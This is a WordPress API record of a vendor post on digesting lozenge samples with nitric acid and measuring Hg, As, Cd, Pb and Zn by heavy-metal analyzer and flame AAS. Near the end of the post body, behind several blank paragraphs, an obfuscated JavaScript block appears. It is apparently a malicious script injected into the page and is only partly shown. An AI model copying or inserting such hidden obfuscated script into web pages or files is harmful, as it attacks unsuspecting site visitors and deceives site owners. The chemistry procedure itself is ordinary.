{"id":2856,"date":"2023-09-14T14:39:30","date_gmt":"2023-09-14T06:39:30","guid":{"rendered":"http:\/\/www.pgeneral.com\/?p=2856"},"modified":"2023-09-14T14:39:38","modified_gmt":"2023-09-14T06:39:38","slug":"determination-of-hg-as-cd-pb-zn-in-lozenges-sample-pre-treatment","status":"publish","type":"post","link":"https:\/\/www.pgeneral.com\/vi\/applications\/bio-tech-and-life-sciences\/determination-of-hg-as-cd-pb-zn-in-lozenges-sample-pre-treatment\/","title":{"rendered":"X\u00e1c \u0111\u1ecbnh HG, AS, CD, PB, Zn trong b\u1ed9 l\u1ecdc m\u1eabu tr\u01b0\u1edbc khi x\u1eed l\u00fd"},"content":{"rendered":"<p>Microwave digestion<br \/>\nTake 0.2-0.5g sample into a vessel of microwave digestion system, add 8ml Nitric acid, put into microwave digestion system to digest. After digestion well, put on the electronic heating plate 120C to remove acid.<\/p>\n<p><img decoding=\"async\" class=\"size-full wp-image-2857 aligncenter\" src=\"http:\/\/www.pgeneral.com\/wp-content\/uploads\/2023\/09\/\u56fe\u724779.png\" alt=\"\" width=\"290\" height=\"129\" \/><\/p>\n<p>Zn\uff1aRemove acid until about 0.5ml sample volume residual, add water to 10ml mark of volumetric flask, ready to test.<br \/>\nAs : Remove acid until about 1.0 ml sample volume residual, add water to the mark of 10ml volumetric flask, take 5ml pretreatment solution to 10ml colorimetric tube, add 0.5ml HCL and 1ml 10% thiourea solution, then add water to the mark, mix well, wait for 30mins, ready to test.<br \/>\nHg: Remove acid until about 1.0 ml sample volume residual, add water to 10ml mark of volumetric flask, ready to test.<br \/>\nCd: Remove all acid, add 2% HCL to the mark of 10ml volumetric flask, take 6ml pretreatment solution to 10ml colorimetric tube, add 0.1ml 1000\u00b5g\/mL Co2+ and 3mL10% thiourea solution, then add water to mark, mix well for testing.<br \/>\nPb: Remove all acid, add 2% HCL to the mark of 10ml volumetric flask, ready to test.<\/p>\n<p>Test Methods<br \/>\nHg, As, Pb and Cd were determined by Heavy metal analyzer.<\/p>\n<p style=\"text-align: center;\">Table2 Heavy metal analyzer parameters<\/p>\n<p>\u00a0<img fetchpriority=\"high\" decoding=\"async\" class=\"size-full wp-image-2867 aligncenter\" src=\"http:\/\/www.pgeneral.com\/wp-content\/uploads\/2023\/09\/\u56fe\u724780.png\" alt=\"\" width=\"493\" height=\"622\" srcset=\"https:\/\/www.pgeneral.com\/wp-content\/uploads\/2023\/09\/\u56fe\u724780.png 493w, https:\/\/www.pgeneral.com\/wp-content\/uploads\/2023\/09\/\u56fe\u724780-238x300.png 238w\" sizes=\"(max-width: 493px) 100vw, 493px\" \/><\/p>\n<p style=\"text-align: center;\">Zinc was determined by AAS-Flame method.<\/p>\n<p><img decoding=\"async\" class=\"size-full wp-image-2859 aligncenter\" src=\"http:\/\/www.pgeneral.com\/wp-content\/uploads\/2023\/09\/\u56fe\u724781.png\" alt=\"\" width=\"527\" height=\"247\" srcset=\"https:\/\/www.pgeneral.com\/wp-content\/uploads\/2023\/09\/\u56fe\u724781.png 527w, https:\/\/www.pgeneral.com\/wp-content\/uploads\/2023\/09\/\u56fe\u724781-300x141.png 300w\" sizes=\"(max-width: 527px) 100vw, 527px\" \/><\/p>\n<p style=\"text-align: center;\">Test result<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-2860 aligncenter\" src=\"http:\/\/www.pgeneral.com\/wp-content\/uploads\/2023\/09\/\u56fe\u724782.png\" alt=\"\" width=\"521\" height=\"116\" srcset=\"https:\/\/www.pgeneral.com\/wp-content\/uploads\/2023\/09\/\u56fe\u724782.png 521w, https:\/\/www.pgeneral.com\/wp-content\/uploads\/2023\/09\/\u56fe\u724782-300x67.png 300w\" sizes=\"(max-width: 521px) 100vw, 521px\" \/><\/p>\n<p style=\"text-align: center;\">Hg<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-2861 aligncenter\" src=\"http:\/\/www.pgeneral.com\/wp-content\/uploads\/2023\/09\/\u56fe\u724783.png\" alt=\"\" width=\"454\" height=\"262\" srcset=\"https:\/\/www.pgeneral.com\/wp-content\/uploads\/2023\/09\/\u56fe\u724783.png 454w, https:\/\/www.pgeneral.com\/wp-content\/uploads\/2023\/09\/\u56fe\u724783-300x173.png 300w\" sizes=\"(max-width: 454px) 100vw, 454px\" \/><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-2862 aligncenter\" src=\"http:\/\/www.pgeneral.com\/wp-content\/uploads\/2023\/09\/\u56fe\u724784.png\" alt=\"\" width=\"247\" height=\"235\" \/><\/p>\n<p style=\"text-align: center;\">As<\/p>\n<p>\u00a0<img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-2868 aligncenter\" src=\"http:\/\/www.pgeneral.com\/wp-content\/uploads\/2023\/09\/\u56fe\u724785.png\" alt=\"\" width=\"457\" height=\"268\" srcset=\"https:\/\/www.pgeneral.com\/wp-content\/uploads\/2023\/09\/\u56fe\u724785.png 457w, https:\/\/www.pgeneral.com\/wp-content\/uploads\/2023\/09\/\u56fe\u724785-300x176.png 300w\" sizes=\"(max-width: 457px) 100vw, 457px\" \/> <img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-2869 aligncenter\" src=\"http:\/\/www.pgeneral.com\/wp-content\/uploads\/2023\/09\/\u56fe\u724786-1.png\" alt=\"\" width=\"242\" height=\"191\" \/><\/p>\n<p style=\"text-align: center;\">Pb<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-2863 aligncenter\" src=\"http:\/\/www.pgeneral.com\/wp-content\/uploads\/2023\/09\/\u56fe\u724787.png\" alt=\"\" width=\"458\" height=\"267\" srcset=\"https:\/\/www.pgeneral.com\/wp-content\/uploads\/2023\/09\/\u56fe\u724787.png 458w, https:\/\/www.pgeneral.com\/wp-content\/uploads\/2023\/09\/\u56fe\u724787-300x175.png 300w\" sizes=\"(max-width: 458px) 100vw, 458px\" \/><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-2864 aligncenter\" src=\"http:\/\/www.pgeneral.com\/wp-content\/uploads\/2023\/09\/\u56fe\u724788.png\" alt=\"\" width=\"249\" height=\"192\" \/><\/p>\n<p style=\"text-align: center;\">Cd<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-2865 aligncenter\" src=\"http:\/\/www.pgeneral.com\/wp-content\/uploads\/2023\/09\/\u56fe\u724789.png\" alt=\"\" width=\"455\" height=\"264\" srcset=\"https:\/\/www.pgeneral.com\/wp-content\/uploads\/2023\/09\/\u56fe\u724789.png 455w, https:\/\/www.pgeneral.com\/wp-content\/uploads\/2023\/09\/\u56fe\u724789-300x174.png 300w\" sizes=\"(max-width: 455px) 100vw, 455px\" \/><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-2870 aligncenter\" src=\"http:\/\/www.pgeneral.com\/wp-content\/uploads\/2023\/09\/\u56fe\u724790.png\" alt=\"\" width=\"246\" height=\"172\" \/><\/p>\n<p style=\"text-align: center;\">Zn (AAS-Flame method)<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-2871 aligncenter\" src=\"http:\/\/www.pgeneral.com\/wp-content\/uploads\/2023\/09\/\u56fe\u724791-1.png\" alt=\"\" width=\"554\" height=\"404\" srcset=\"https:\/\/www.pgeneral.com\/wp-content\/uploads\/2023\/09\/\u56fe\u724791-1.png 554w, https:\/\/www.pgeneral.com\/wp-content\/uploads\/2023\/09\/\u56fe\u724791-1-300x219.png 300w\" sizes=\"(max-width: 554px) 100vw, 554px\" \/><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-2872 aligncenter\" src=\"http:\/\/www.pgeneral.com\/wp-content\/uploads\/2023\/09\/\u56fe\u724792.png\" alt=\"\" width=\"553\" height=\"213\" srcset=\"https:\/\/www.pgeneral.com\/wp-content\/uploads\/2023\/09\/\u56fe\u724792.png 553w, https:\/\/www.pgeneral.com\/wp-content\/uploads\/2023\/09\/\u56fe\u724792-300x116.png 300w\" sizes=\"(max-width: 553px) 100vw, 553px\" \/><\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<br \/>\n<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return 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microwave digestion system, add 8ml Nitric acid, put into microwave digestion system to digest. After digestion well, put on the electronic heating plate 120C to remove acid. Zn\uff1aRemove acid until about 0.5ml sample volume residual, add water to 10ml mark of volumetric flask, ready to test. [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[77],"tags":[],"class_list":["post-2856","post","type-post","status-publish","format-standard","hentry","category-bio-tech-and-life-sciences"],"acf":[],"_links":{"self":[{"href":"https:\/\/www.pgeneral.com\/vi\/wp-json\/wp\/v2\/posts\/2856","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.pgeneral.com\/vi\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.pgeneral.com\/vi\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.pgeneral.com\/vi\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.pgeneral.com\/vi\/wp-json\/wp\/v2\/comments?post=2856"}],"version-history":[{"count":0,"href":"https:\/\/www.pgeneral.com\/vi\/wp-json\/wp\/v2\/posts\/2856\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.pgeneral.com\/vi\/wp-json\/wp\/v2\/media?parent=2856"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.pgeneral.com\/vi\/wp-json\/wp\/v2\/categories?post=2856"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.pgeneral.com\/vi\/wp-json\/wp\/v2\/tags?post=2856"}],"curies":[{"name":"WP","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}